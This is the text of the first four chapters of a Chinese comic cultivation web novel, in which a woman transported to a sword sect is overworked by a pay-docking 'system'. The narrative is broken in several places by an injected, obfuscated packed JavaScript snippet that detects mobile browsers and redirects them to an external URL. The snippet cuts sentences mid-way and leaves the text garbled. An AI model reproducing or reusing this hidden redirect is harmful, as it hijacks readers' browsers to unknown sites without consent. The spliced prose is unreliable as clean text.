《强取豪夺后给我交社保了吗》 1. 送药 “叮——”刚在寝舍躺下的孟知匀再度听到了熟悉的消息提示音,她生无可恋地睁开眼睛,手指在虚空中一点,才被清空的系统待办果然又冒出来一个新的小红点。 “前往丹药斋协助送药。” 可能是看时间已晚,系统又非常贴心地发来一封邮件,提醒她如果不按时完成待办,将扣除本月全勤奖和相应的工资系数,月度绩效直接打C。 孟知匀躺在床上默默叹息,然后提起一口气,行尸走肉般从床上爬起来,草草穿上外衫就出了门。 外面下了蒙蒙小雨,住她隔壁的薛逢梨正抱着一个药盒开门,听到动静才抬头看到她,问道:“师姐,你怎么大晚上还出门啊?” 对啊,她也想知道,为什么大晚上冒着雨还要出门干活啊。 完全没人性的傻x系统。 孟知匀扯出一点笑:“想起来还有点事情没做完。” 随后她又看了一眼薛逢梨手里抱着的药盒,问道:“你不是下山送药去了吗?” 薛逢梨抿了抿唇,整个人显得失魂落魄,低声道:“去晚了,那户人家说那个女子前几天就自己跑出去了,没再回来。” 药盒里的凝神芝是孟知匀陪她一起在药田里亲手栽培出来的,能够助人静心凝神,俩人勤勤恳恳忙活了一个月,本来是想给山下平松县李家的疯儿媳治疗疯病的,没想到还是晚了一步。 孟知匀叹了口气,拍拍薛逢梨的肩膀:“尽人事,听天命,你已经尽力了。” 薛逢梨抹了抹泛红的眼角,点了点头:“师姐你去忙吧,我没事的。” 看了看外面的夜色,孟知匀也没时间再多安慰她什么,随手捏了个避雨诀就冲进了雨幕里。 丹药斋离弟子们居住的寝舍不算近,她只能左手捏着避雨诀,右手聚气御风,加快速度赶了过去。 负责管理药田和丹药斋的薛腾是掌门的师叔,也是钟粹山全宗门上下辈分最大的修士,所以孟知匀一进门就乖乖叫了声:“师叔祖。” 老爷子正在百子柜前给几个来丹药斋轮值的弟子分配丹药,见了来主动帮忙的孟知匀,反而一捋胡须,横眉冷对:“这个月又不是你当值,大晚上不睡觉不修行,又跑来干什么?” 孟知匀知道这老头嘴硬心软,自己受无良系统压榨驱使的事也有苦说不出,只能腆着脸凑过去,笑道:“这不是掐指一算,算到师叔祖今天需要我帮忙,这才冒雨赶过来嘛。” 薛腾往外看了看,刚刚还蒙蒙的细雨已经变成了瓢泼大雨,虽说知道修行中人不怕雨淋,但还是不由分说地心软了几分。 他“哼”了一声,向那几个轮值弟子问道:“还有哪处的丹药没安排去送?” 偷偷拿余光看孟知匀的弟子这才回过神,脸颊泛红地指了指名册上的地点:“还有要去百剑峰给薛昱师兄送的伤药。” 薛腾一听这个名字,气得胡子又翘了点:“你们这一个两个的,又是沉迷给人打杂、又是被陈年恩怨迷了头,白白浪费了这么好的天资!” 其中一个轮值弟子忙打圆场,把装着伤药的盒子递给孟知匀:“百剑峰的入口设有禁制,得天资极高或者修为达标的修士才能进入,我们几个估摸着是进不去,劳烦孟师姐了。” 孟知匀接过药盒,冲薛腾行了一礼:“师叔祖,那我先去送药了。” 不等老头子再出言刺她,孟知匀转眼间就没了身影。 薛腾把手里的册子往桌子上一扔,捋着胡须叹息道:“真是看不到钟粹山的未来。” * 孟知匀拿着药盒在雨中御风,心想薛昱这个名字怎么莫名其妙有点耳熟,她冥思苦想了一会,才一拍脑门想到出处。 她记得她上次忍无可忍打算“裸辞”,趁着下山执行任务的时候直接跑路,结果这该死的系统居然封了她的灵脉,还让她成了流民,进不了城,之前偷摸着攒下的白银一夕之间全都消失不见了,更过分的是,这无良系统还吞了她的存款、断了她的社保。 导致她只能在山野之间当野人,靠吃野果和野菜勉强过活,后来好不容易被一个附近的小宗门接济,结果馒头还没吃完一个,人家仇家寻来了,慌乱之间只能让她钻狗洞出逃,后来饿晕在半山腰,醒来的时候就回到了钟粹山。 特意来照顾她的薛逢梨说是二少主薛昱救她回来的。 孟知匀低头看了一眼药盒,心想给他送药也算偿还了几分救命之恩吧。 主要现在她囊中羞涩,总不能把自己的巨额房贷送给人家。 她手指微动,系统上显示出了她目前的全部身家: 房贷:92.72两白银 已缴纳社保:2两白银 底薪:5两 绩效:3两(包含全勤奖) 总存款:0.72两白银 好一个负跪逼人呐! 她就搞不明白了,她周一早上好好地坐地铁上班,怎么小眯了一会儿后醒来就到了这么个鬼地方,该死的系统还非常贴心地给她发了一封邮件,说她已经因不可抗力在原世界死亡,系统出于人道主义精神把她带到了这个修真世界,并给了她三大宗门之首钟粹山的外门弟子的身份,还给了她住处,所以她应该偿还100两白银的房贷。 孟知匀从没想到,自己都已经死了,到了传闻中的修真界,居然还他爹的要当牛马打工,甚至莫名其妙背上了巨额贷款。 而且这个系统,比起她的领导简直是有过之而无不及:不仅要求她二十四小时待命,驱使着她在全门派上蹿下跳地打杂,还时不时给她画大饼,每月发一封安抚邮件,告诉她只需要再交20年社保,把社保资金池积累到300两白银,她就可以退休了呢。 除此之外,明明门派内部吃饭、看病都是免费的,系统却按照饭菜和丹药的内部价扣她的钱,还美名其曰:她不是该世界的本土人,扣除的钱是按照交了社保的优惠价。 哇,对她真是太好了呢。 孟知匀咬牙切齿地看着那个“0.72”的存款,心想自己天天吃糠咽菜居然也剩不下什么钱。 没等她把新的省钱方案想出来,百剑峰如水墨画般的轮廓就在她眼前显现了出来。 百剑峰的入口是一条水流湍急的瀑布,上面浮现着流动的银色剑铭,远远看着就能感受到其中蕴藏的隐隐剑意。 孟知匀之前没来过百剑峰,但是她的天资奇佳,所以进去应该不成问题。 她提气御风到了瀑布旁边,伸出一根手指小心翼翼地触碰了一下浮在流水上的剑铭,不等她反应过来,一股强大的吸力就将她直接吸进了瀑布内部, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165227|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还无视她的避雨诀,劈头盖脸地浇了她一身水。 很像是被这座山囫囵吞枣咽进肚子里。 啧,小馋猫。 孟知匀一边内心吐槽,一边皱着眉头闻了闻自己的衣袖,没闻到什么莫名其妙的味道,这才松了口气,开始打量百剑峰的内部。 据说百剑峰是钟粹山薛家的发家之本,是全天下灵气最充沛、最古老的一个通灵宝地,里面供奉着薛家历代修士的佩剑,还有从天下各地收集来的名剑,所以让以此为根基修行的钟粹山成了三大宗门之首,薛家剑修的实力也往往跻身于同辈修士的中上流。 因此钟粹山是全天下的剑修都心向往之的修行圣地,如果不是山门前设有云雾阵,估计会被纷纷攘攘的修士踏破门槛。 百剑峰里面有千百年来每一个钟粹山剑修留下的一道剑气,在洞天灵气的滋养下,这些剑气里残留的一丝原主人意志逐渐苏醒,可以给前来修行的后辈子弟喂招,还自发形成了一个万剑灵阵,除此之外,山体内部有数不清的小洞天,越靠近山巅的洞天灵气越充沛,围绕在其周围的剑气也越霸道。 孟知匀没在清醒的时候见过薛昱,所以也无从根据他的气息寻人,只能抱着药盒从底部洞天开始找。 不等她进入小洞天,一道泛着幽蓝的剑气劈头就朝她砍来。 孟知匀的困意被这一下横扫了大半,腰身往后一折,堪堪躲过了这突然一击,然后从旁边的桦树上随手折了根树枝下来,回手迎上那道卷土重来的剑气,脆弱的树枝居然未曾断裂,只落了一片叶子下来。 那道剑气不知道是哪位好战的前辈留下的,见两次攻击都未能击败眼前的少女,居然将一道剑气分裂成了数十道小剑气,朝着孟知匀就冲了过去。 孟知匀心里惦记给给人送药,根本不想恋战,见这剑气缠着她不放,直接足尖轻点身旁的松树,往山上的下一个洞天掠去。 然而这道剑气丝毫不想就这么放她过去,幽蓝的光像数十道速度极快的流星,带着凛冽的剑意就朝她砸去,还分了两道阻拦了她的去路。 孟知匀一手抱着药盒,一手握着桦树枝,催动自己的灵气,在令人眼花缭乱的攻势中逐一格挡剑气,身姿如春日杨柳,恰到好处地擦着猎猎寒风躲过攻击,手中的树枝陡然萌出了几片新芽,带着春风化雨的温润消解了朔冬的严寒。 那道剑气这才收了攻势,带着幽蓝的光围着她转了一圈,向下一头扎进了百剑峰山脚的寒潭里。 一跳入潭,毫无水花,可以打十分。 目送剑气消失的孟知匀丢掉桦树枝,抹了抹脑门儿上的汗。 她最近天天被系统驱使去打杂,甚至没多少时间用于修行,这一手“枯木逢春”只是春晓剑入门级别的剑术,在她手里大约就使出了四五分的威力。 好在这剑气估计也就是逗她玩玩,应该不会跑去跟她师父告状。 不等她彻底松下一口气,空荡荡的山间突然传来一声嗤笑。 孟知匀抬头看去,只见一个容貌精致的青年抱臂靠在一旁的石头上,周身气质冷冽,让人看一眼就觉得骨头发冷。 她冒着寒意上下打量了一眼,心想这肩宽腿长的大美人不会就是薛昱吧? 还有,他什么时候来的?不会跑去跟她师父告状吧? 2. 切磋 孟知匀见对方没有主动搭话的意思,只一味盯着她看,心里有几分毛骨悚然,只得问道:“请问是薛昱师兄吗?” 薛昱挑了下眉:“哦?你认得我?” 孟知匀见对方愿意回话,这才松了口气,上前一步,将药盒递了过去:“听丹药斋的人说师兄在百剑峰,派我来送伤药。” 薛昱接过药盒,垂眸扫了一眼,对她颔首:“有劳了。” 孟知匀几经观察,感觉对方不似一开始表现出来的那样冷峻,便道:“听逢梨说,两月前是师兄救我回来的,一直想当面道谢,却未能遇见师兄,好在今日得见,让知匀得以谢过师兄的救命之恩。” 钟粹山的剑修向来以“来无影、去无踪”闻名,不仅外人难寻其踪迹,就连本门派的自家人也往往十天半个月见不着人,所以她这番说辞倒也说得过去。 她朝对面之人真心实意地行了一礼,随后又感觉自己的谢意似乎太轻,便补上一句:“来日师兄若是有需要帮忙的地方,只管叫我便是。” “不用谢,小事而已。”薛昱看着她如今一本正经的模样,脑海里浮现的却是那日在树下蜷缩成一团、浑身脏兮兮如流浪猫般的少女,两厢反差过大,让他的唇角不免有些上扬。 “那就不打扰师兄修行了。”孟知匀刚刚瞥了一眼自己的待办,发现仅片刻功夫,系统就又给她安排了整整三个杂活,心里有些麻了,只想赶紧干完活回去躺一会儿。 薛昱却忽然道:“且慢。” 他伸手从一边的树上折了两根树枝下来,缓缓走到孟知匀身边,递给她一根:“方才见你与峰内一道霜雪剑剑气缠斗,似乎对春晓剑的剑意颇有独到见解,不知师妹今日肯不肯赏脸与我切磋一番?” 钟粹山薛家四时剑法闻名天下,以春晓剑、九夏剑、秋水剑、霜雪剑四路剑术为基的四时剑阵更是天下无双,奠定了钟粹山千百年来稳居宗门之首的基础,使其成为了悬在天下剑修头顶的一座难以逾越的大山。 孟知匀被系统拉入这个世界后,莫名其妙就成为了翠微长老的弟子,开始随其修习春晓剑,期间无一人怀疑她的身份。 除此之外,虽说她只是个外门弟子,不是薛家本家人,但是钟粹山向来不看重出身,对内、外门弟子一视同仁,加之她天资卓绝,在一开始很是得翠微长老的青眼。 可惜后来系统一日赛一日地压榨她,导致她没多少时间修行,已经隐隐让她师父有了几分不满。 偏偏系统的绩效考评还要看翠微长老对她的修行成果是否满意。 月末考核,危。 感觉自己的绩效工资已经如流水般从手中滑落,孟知匀露出一抹苦笑,准备婉拒薛昱的邀约,她已经承担不起再失去全勤奖的后果了。 可不等她把话说出口,刚刚还在她脑海里“滴滴滴”响个不停的待办提醒突然静音了。 她手指微动,发现一连三个待办都消失,只剩下一个“陪薛二少主切磋”的任务,甚至没有像别的待办那样设置截止时辰。 太好了,比起天天打没用的杂,她还是更喜欢修行。 薛昱看她的脸色在短短几分钟内由晴转雨又转晴,心里很是稀奇,正寻思着这人指不定会找个什么借口拒绝自己,就见孟知匀接过了他手里的树枝,眉目舒展地冲他行了个执剑礼:“那就请师兄指教了。” 有意思,这人不仅七情上脸,心情还挺变化多端。 薛昱也行了个执剑礼,然后缓缓握紧了手中的树枝,一道寒气从他掌心荡开,让刚刚还带有几分生机的树枝转瞬间便成了枯枝,披上了一层厚厚的寒霜,像是冬日里折下的雾凇玉枝。 孟知匀忍不住看了一眼那根树枝,五指不禁攥紧了掌心的树枝。 据说眼前这位二少主是当下这一辈中天资最好的修士,十四岁就在百剑峰的藏剑洞天中拔出了从未入世的百年名剑“雾凇”,其剑气更是霸道无匹,年纪轻轻便有“一剑寒五州”的威名。 如果说钟粹山上一辈中最负盛名的是掌门修习的九夏剑,这一辈则无疑是薛昱修习的霜雪剑。 当然,如果没有傻x系统天天逼她去打杂,那她的春晓剑倒也不是不能争一争此间排名。 孟知匀闭了下眼睛,随后如蒙蒙春雨般无声潜入了百剑峰的浓郁灵气中,手中的树枝转瞬间萌出了几片新芽,盎然的春意随着她的身形笼罩了静止不动的薛昱。 随风潜入夜。 只可惜带来生机的春雨尚未落下,一股带着凛冽寒意的朔风便卷着漫漫雨丝将其上了冻。 二人在转瞬间便过了十几招,葱翠的绿意和料峭的寒风在树枝相对时互不相让,颇有岁末之时冬春交融的更替之感。 薛昱的修为比孟知匀强了何止几倍,但他无意在修为上占人便宜,便刻意只从剑术上与人切磋,倒是从中窥得了春晓剑别样的剑意。 以往他人的春晓剑,重在百花盛放,往往场面曼妙而威力不足,而眼前人的剑意竟着重在“萌芽”和“破土”,其间的生命力蓬勃锐意,倒是此生罕见。 孟知匀看自己手中的树枝已被染上了半根的寒霜,掌心聚力,仍旧迎上了那锐不可当的寒风,果不其然,苦苦支撑了许久的树枝玉碎一般成了满地的雪渣。 孟知匀输了也不觉得失落,反而感觉痛痛快快打一场十分肆意快活,让她在打杂中蒙尘许久的上进心活了稍许,便真心实意地笑了笑:“师兄果然是剑道奇才。” 薛昱却把手中的树枝横在她眼前,被霜雪包裹着的枯枝上不知何时竟长出了一个小小的绿叶。 他轻笑了一声:“你也没输。” 孟知匀看到那一小片倔强的芽,唇角抑制不住地上扬,随口扯淡道:“这一招叫——” “润物细无声。” 不等薛昱再说些什么,孟知匀便打了个哈欠,拱手告辞:“时候不早了,多谢师兄今日指教,我先走了。” 薛昱应了一声,随后便见这人转瞬间就没了身影,也不知道是赶着去做什么。 他又低头看向树枝上那片绿叶,纤长浓密的睫毛在眼下落下一片阴影。 几道剑气“唰唰”围了过来,像极了一群看热闹不嫌事大的老不正经。 死了不知道几百年了,偏偏在剑气里留下的零星意识还这么八卦。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165228|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 薛昱撩起眼皮瞥了一眼,手指一旋,将树枝收了起来,散漫地靠在一旁的树上:“她拜入钟粹山不过半年,已比你们不差多少。” “我看——” “不如你们也一起进寒潭里凉快凉快吧。” * 孟知匀有点纳闷,自从她和薛昱切磋完,系统居然整整一个晚上没给她派活,甚至她半夜从梦中惊醒,幻听有系统提示音,虚空点开面板后发现待办空空如也,真是奇了怪了。 不过好歹让她难得地睡了个囫囵觉。 第二天一早,她刚在饭堂啃完一个包子,脑子里准时响起了熟悉的提示音。 这下对味儿了。 “协助薛臻虞通过三日后的门规考试。” “协助养剑堂前往百剑峰更换蕴灵池泉水。” “协助……” 一连蹦出来五条待办,直接把她今天从早到晚的时间都排得满满当当。 孟知匀三两下把自己的包子啃完,拿着自己崩了个豁口的破剑就离开了饭堂,只留下一堆看她风风火火来了又去的钟粹山弟子面面相觑。 “孟师姐又忙着去帮人干活了吗?”有人忍不住问了一句。 “大概是吧,你知道的,孟师妹最乐于助人了。” “可是翠微长老明日要剑术考核,师姐天天帮人做事,有空练习剑术吗?” “唉,天才的事你我这种庸才就少管吧!你忘了她上次临时练了两下就把我们打趴下的事吗?” “也是,我们饭后继续去见春峰练剑吧。” 孟知匀当然知道自己现在的样子在钟粹山算个异类,向来剑修都是修士中最为醉心修行的那一挂,一个赛一个地不惹凡尘俗世,平生最怕除了修行外的杂事,她倒好,拜入宗门以来,修行没修几天,一天天净给人跑腿打杂了。 可她有苦难言啊。 要是身上没这个傻x系统,她恨不得也跟霜雪剑那一派一样走不食人间烟火的路子,天天往百剑峰一钻,谁都别想找到她。 思索间,她已经御风到了藏书阁门口,向门口的轮值弟子出示了宗门腰牌。 “普通弟子只能借阅一、二层藏书,不可前往三、四层禁书区。”轮值弟子照例提醒了一句。 孟知匀点点头,收起腰牌走进了藏书阁。 钟粹山藏书甚众,因为和其余两大宗门一直保持着友好关系,甚至还留有桃花潭苏家和万听谷萧家曾经送来的藏书,补全了其在医药和音律方面的不足。 绕着一楼走了好几圈,她才在一个不起眼的角落里找到了抱着书挠头的薛臻虞。 “怎么,第六次补考还没过吗?”孟知匀在他身边蹲下。 薛臻虞背门规已经背得头昏脑涨,抬头突然看见救星,刚想站起来,结果腿一软直接给人跪下了。 “哎哎哎,不用行此大礼。”孟知匀被他吓了一跳,一把将人捞了起来。 薛臻虞修习九夏剑,肤色比一般人要深一点,两行清泪下来简直惨不忍睹,抓着孟知匀的袖子就开始嚎叫:“师姐,你真得救救我,我爹说这次补考再不过他真要打断我的腿啊!” 3. 门规 孟知匀在临窗的地方找了一方小桌子,把厚厚的几册门规堆到了桌子上,看向还在抹眼泪的薛臻虞:“说说吧,这次错了几题?” 薛臻虞身高八尺,素来气宇轩昂,偏偏此时被磋磨得佝偻着身体,满脸泛着苦意,支支吾吾道:“有几题……有好几题都和师姐给我默出来的不一样……” 钟粹山由于地处北凛州,且山势崎岖,气候较为寒冷,所以钟粹山弟子往往肤色白皙,偏偏修习九夏剑的这一脉不知为何肤色较深,加之脾性火爆,平日里总是以金刚怒目的形象出现,如今薛臻虞突然一副面红耳赤、要哭不哭的模样,把孟知匀骇得差点坐不稳。 门派重视规训弟子,要求必须通过门规考核才能成为正式弟子,正式弟子在修为达标后方可进入百剑峰拔剑。 而薛臻虞,虽然是槐序长老的亲生儿子,但是自他十岁开始考门规起,如今已经过去四年了,考了整整六次,竟一回也没通过,气得槐序长老痛揍了他无数次,导致现今薛臻虞看见“门规”两个字就两股战战,感觉他爹的剑鞘已经隐隐招呼了过来。 “我不是跟你说了嘛,你记忆力不好,死记硬背不可取,每条门规背后必有其深意,要试着去理解它们背后的逻辑。”孟知匀清了清嗓子,翻开第一册门规,“比如这一条——不可在饭堂外生火造饭,你知道为什么吗?” 薛臻虞木木地摇了摇脑袋。 “因为曾经有两个弟子打了几只野兔,在夏荷峰生火烤兔肉,结果不小心引燃了旁边的枯木和落叶,导致火势连绵,差点把峰上灵池里的百年雪荷给烧没了,门规里这才加上这一条。”孟知匀手里握着根毛笔,简单把原因给他批注在了旁边。 “谁啊?怎么这么冒失,居然是修习九夏剑的前辈吗?”薛臻虞被她引起了兴趣,忍不住问了一句。 孟知匀意味深长地看着他:“远在天边近在眼前,正是——” “你爹。” “什么?”薛臻虞“噌”地一下站起来,差点把椅子给掀倒,眼中的求知欲从未如此旺盛,“师姐你可莫要说笑,这……真是我爹干出来的事儿?” “这有什么好诓你的,你大可以去打听一下,不过得小心别被你爹知道,不然你屁股又要开花了。” 孟知匀手里捏着根细长的毛笔就忍不住转笔,好在她及时用灵力收敛了墨汁,这才没把两个人甩成大花脸。 薛臻虞拉着椅子往她旁边凑了凑:“那还有哪条是跟我爹相关的,师姐你先给我讲讲。” “喏,还有第十四条、第二十八条、第五十四条……” 孟知匀下笔“唰唰唰”就圈了十几条出来,看得薛臻虞十分心惊,唇角的弧度却是怎么也压不下去。 他从小到大没少挨他爹的打,动辄就被冠上“竖子无状”“顽劣不堪”等罪名,估摸着最明白他爹雷雨剑威力的,不是天下间的妖魔鬼怪,而是他薛臻虞。 尤其是那剑鞘的硬度,是他日复一日拿屁股丈量出来的! 没想到啊没想到,他爹年少时居然比他还要不像话,他好歹只是不遵门规,他爹倒好,活活让门规添上了十几条! 这么一想,他学习门规的热情简直空前高涨。 嗐,这哪是什么门规啊,这分明是他家老薛的罪证集!下次再挨打,他少不得要在心里暗暗笑话他! 还骂他顽劣不堪,他这个当老子的年轻时还不如他乖巧呢! “除了槐序长老,这几条是关于翠微长老的,那几条是关于岁寒长老的,哦,这一条是关于玉露长老的,还有几条是关于掌门自己的。”孟知匀言笑晏晏,出手却如阎王勾划生死簿,把钟粹山如今几个位高权重的话事人的老底通通揭了出来。 薛臻虞目光如炬,求知若渴地看着面前厚厚的门规:“几位长老,竟也会犯这么多错误吗?” “人非圣贤,孰能无过。”孟知匀转了几下笔,“我师父当年第一次进戒律堂的时候,还让几位长老的脑门上通通长了朵妖艳的红花,气得上一任掌门拿着戒尺追着她跑了半个山头。” 薛臻虞“噗嗤”一声笑了出来,一只手还“哐哐”拍起了桌子:“没想到翠微长老……竟……竟如此有趣!” 孟知匀第一次听师叔祖说起这些往年趣事的时候也不怎么相信,于是她索性在师父面前施展了这个灵术,让几个师姐妹、师兄弟的发髻上通通长了片绿叶,她师父果真变了脸色,当即出手如风地把这几片叶子给薅了下来,罚她让见春峰上四十五棵桦树都开满春花。 她后知后觉,师父倒不是因为她戳破陈年旧事罚她,是因为她让别人脑门上见绿罚她! 孟知匀收回心绪,把密密麻麻批注好了的门规递给薛臻虞:“这下可记牢了?” “自然!要是灵微先生在课堂上也这么讲,我哪需要补考这么多次!”薛臻虞捶胸顿足,颇有和孟知匀相见恨晚的遗憾。 “行了行了,”孟知匀伸了个懒腰,站起身,“你自己再用心记一记吧,我还有别的事情要忙,告辞了。” 薛臻虞忙起身送她:“师姐慢走!等我这次考过了,我请你去山下钟灵郡吃好吃的!” 孟知匀冲他摆摆手,走到门口才听到这小子补上的那句—— “我请你吃烤兔肉啊师姐!” 孟知匀忍俊不禁,出门时没注意门槛,差点一头栽进别人怀里,得亏被人攥住胳膊一把扶了起来。 但是她的脑袋因为惯性,不可避免地撞到了迎面碰上的胸肌上。 梆硬。 她脑瓜有点嗡嗡的。 “没事吧?”如山间寒泉般清透的嗓音,她似曾相识。 孟知匀晃了晃脑袋,捂着脑门抬起头,正对上一双清凌凌带着点寒郁的眼睛。 怪不得她突然觉得有点冷,原来是碰上霜雪剑了。 “没事。”她赶紧往旁边退了半步,识趣地没再堵着门,“抱歉,刚刚没看路,不小心撞到师兄了。” 薛昱眼下似乎心情欠佳,过度漂亮的脸上浮着一层寒气,闻言却看了看她捂着的脑门:“很疼?” 孟知匀下意识摇了摇头,然后发现自己的动作不怎么有说服力,就把手放了下来,尴尬地咳了几声:“没事,我脑门天生就比较硬。” 薛昱又意味不明地笑了一下,把那瓶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165229|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没用完的伤药塞给她:“赔你的。” 话罢,不等她再说什么,这人就自顾自出示腰牌进了藏书阁。 孟知匀微微眯了眯眼睛。 薛昱居然有两颗尖尖的虎牙,有点可爱。 当然,这不是重点。重点是——他去四层的禁书区干什么? 她看了看头顶的大太阳,提气御风往饭堂赶去,心里却忍不住一直琢磨这件事。 薛昱作为掌门的亲生儿子,下一任掌门的亲弟弟,钟粹山薛家的二少主,有禁书区的阅览权限倒没什么稀奇,关键是,据说藏书阁四层放着的都是从山下邪修那里缴获的邪门术法。 正邪不两立,以三大宗门为首的名门正派走的是吸纳天地灵气修行的路子,而不入流的邪修走的则是杀人夺宝的邪路,他们中间十有八九的修为不是自己实打实修行得来的,是靠着歪门邪道从别的修士那里掠夺来的。 但是灵气是修士修行之本,从旁人那里得来的灵气到底已被打上了别人的烙印,所以这些邪修走火入魔的概率极高。 依孟知匀看,其间估计不乏有一些精神分裂的精神病患者。 * 今日的午饭主菜是人气极高的锅包肉,不到午时饭堂便排满了来打饭的弟子。 孟知匀咽了口口水,到门可罗雀的窗口要了碗米饭配咸菜,看着系统上“-12文(合0.012两白银)”的扣款通知,她心如滴血地开始扒饭。 “师姐。” 话音未落,一碗锅包肉被放到了她面前。 孟知匀把嘴里的米饭咽下,抬头就看到了一张青春阳光如男高的脸。 虽说她拜入钟粹山不过半年,但是她算是翠微长老的关门弟子,天资又高,所以在门派内辈分比较高,年龄比她小的弟子,大多要叫她一声师姐。 薛停在她对面坐下,并把锅包肉往她这边推了推:“我来得早,帮薛涛打了一碗,结果左右等不到他人,这碗就麻烦师姐帮我解决吧。” 孟知匀伸手试探了一下,发现“扣款通知”简直呼之欲出,她立刻收回手,摇了摇头,咬牙切齿地拒绝:“不必了,我不爱吃肉。” 薛停也不勉强,余光扫了一眼还在大排长队的薛涛,心想这次真是便宜他了。 “师姐现在是在辟谷修行吗?”看着孟知匀面前的咸菜,薛停忍不住问道。 哈哈哈,何谈辟谷啊,她只是穷呐! “嗯。”孟知匀高深莫测地点了点头,“书上说,体态轻盈则心境渐高,于修行之道可事半功倍。” 薛停蹙眉:“但是不吃饱怎么能拿得动剑呢?何况掌门和各位长老师叔们都未曾提过要我们辟谷修行,师姐天资又如此高,大可不必走这样的苦路子。” 孟知匀一肚子苦水说不出,只觉得碗里的米饭更味同嚼蜡了。 啊,这锅包肉的味道怎么这么重,熏到她了!熏到她了! “多谢师弟挂怀。”她停了筷,只想快点逃离锅包肉的诱惑,拿着破剑就要起身离开,“我午后还要去养剑堂,先走了。” 薛停看着她快步离开的背影,忍不住握紧了手中的筷子。 4. 疯妇 当今天下分五州,山下普通人以皇室为尊,居中州,钟粹山薛家在北凛州根基深重,桃花潭苏家在云梦州颇有威望,万听谷萧家则在南华州享有盛名,剩下一个西北的西漠州由于气候恶劣、民风彪悍,向来是一个无宗门愿意驻扎的三不管地区,连皇家都只设置了一个名存实亡的西域都护府,多年未曾派遣官员前去管理,导致此地成为了妖魔鬼怪和邪修盘踞的大本营。 多年来皇室和三大宗门互不干涉,皇家每年向宗门献上供奉,三大宗门则在中州天启郡设下护卫法阵,保护皇城不受妖邪侵犯,并在民间的各大郡设有“钟楼”,派遣轮值弟子驻守,帮助凡世处理大小涉及修真界的事务。 轮值弟子主要职责是向自家宗门传递消息,具体事务则由宗门安排弟子下山执行。 孟知匀挺喜欢出外勤的,虽说钟粹山弟子50两的月俸和丰厚的出差补贴都被系统克扣走了,但是她通过寥寥几次出外勤的经历,发现离宗门越远,系统对她的干扰和影响就越小,就跟信号有延迟一样,每次她因任务下山,往日里“滴滴滴”响个不停的待办竟通通都偃旗息鼓了。 想来也是,系统派遣她干的杂活都是宗门内部事务,她人都不在山上了,总不能让她临时又跑回山上打杂吧? 此系统虽然毫无人性、酷爱压榨、面目可憎、朝令夕改、自私小气、令人作呕,但是好歹逻辑尚存,不会跟门规对着干。 孟知匀觉得自己有必要在明天的月末考核上好好表现,只要把师父哄高兴了,她就能争取到更多出外勤的机会。 她看了看密密麻麻的待办,深深吸了一口气,心想大不了今晚不睡了,临时抱佛脚再修行几个时辰。 然而计划赶不上变化,当她紧赶慢赶在晚上十点之间完成了全部待办,刚想回去小眯一会儿后再去见春峰练剑,就在寝舍门口看到了坐在台阶上等她的薛逢梨。 年方十五的少女,生得杏眼桃腮,单是拿泛着水意的眼睛看她一眼,就让人狠不下心拒绝。 孟知匀把自己的破剑往旁边一搁,挨着她坐下:“怎么了?大晚上不睡觉。” “师姐……”薛逢梨抱住她的胳膊,还没说什么,注意力就被她的剑吸引了,“你怎么还在用这把剑啊?我记得剑刃上有好几个豁口呢。” 嗐,那还能为什么,穷呗。 养剑堂里陈列着许多好剑,以供他们这些没有得到本命剑的弟子取用,虽说品质远不如百剑峰里的名器,但品质都属当世上乘。 她一开始修行的时候下手没个轻重,不出三天就把剑刃崩了个豁口,当时想着去养剑堂薅羊毛换一把,结果她刚拿起一柄剑,系统就要给她扣上60两白银的买剑钱。 她当即把剑放了回去,抱着自己刚刚扔下的破剑,灰溜溜地走了。 孟知匀不动声色地把剑往身后藏了藏:“没事,又不是本命剑,怎么都能用,我懒得去换了。” 薛逢梨见她不想解释,便没有再追问,转而说起了自己的心事:“近日来,我总是梦到那日在山下遇到的……那个女子,要是我再早几日把凝神芝给他们送过去,或许她便不会疯跑出去了,如今外面妖魔林立,她一个失了神智的弱女子,怕是……凶多吉少。我一想到这个,就心里难安……” “师姐,你说我当日是不是做错了?我不该让她的家人就那样把她带回去,若是我将她带回钟粹山……” “说什么傻话呢。”孟知匀打断她,“门规不许私带凡人入山,没有戒律堂的千里音,她也走不出山门前的云雾阵。” 话罢,看着小师妹泛红的眼圈,孟知匀摸摸她的头,劝慰道:“这本来就是人家自己的因果,我们没有干涉的道理。” 薛逢梨抿了抿唇:“但是那日就是让我遇到她了,我却什么都没能为她做。” 她现在一闭上眼睛,脑海中浮现的就是那日,那女子向她投来的求助般的目光,以及最后她被家人强行带走时,那种心如死灰的麻木神态。 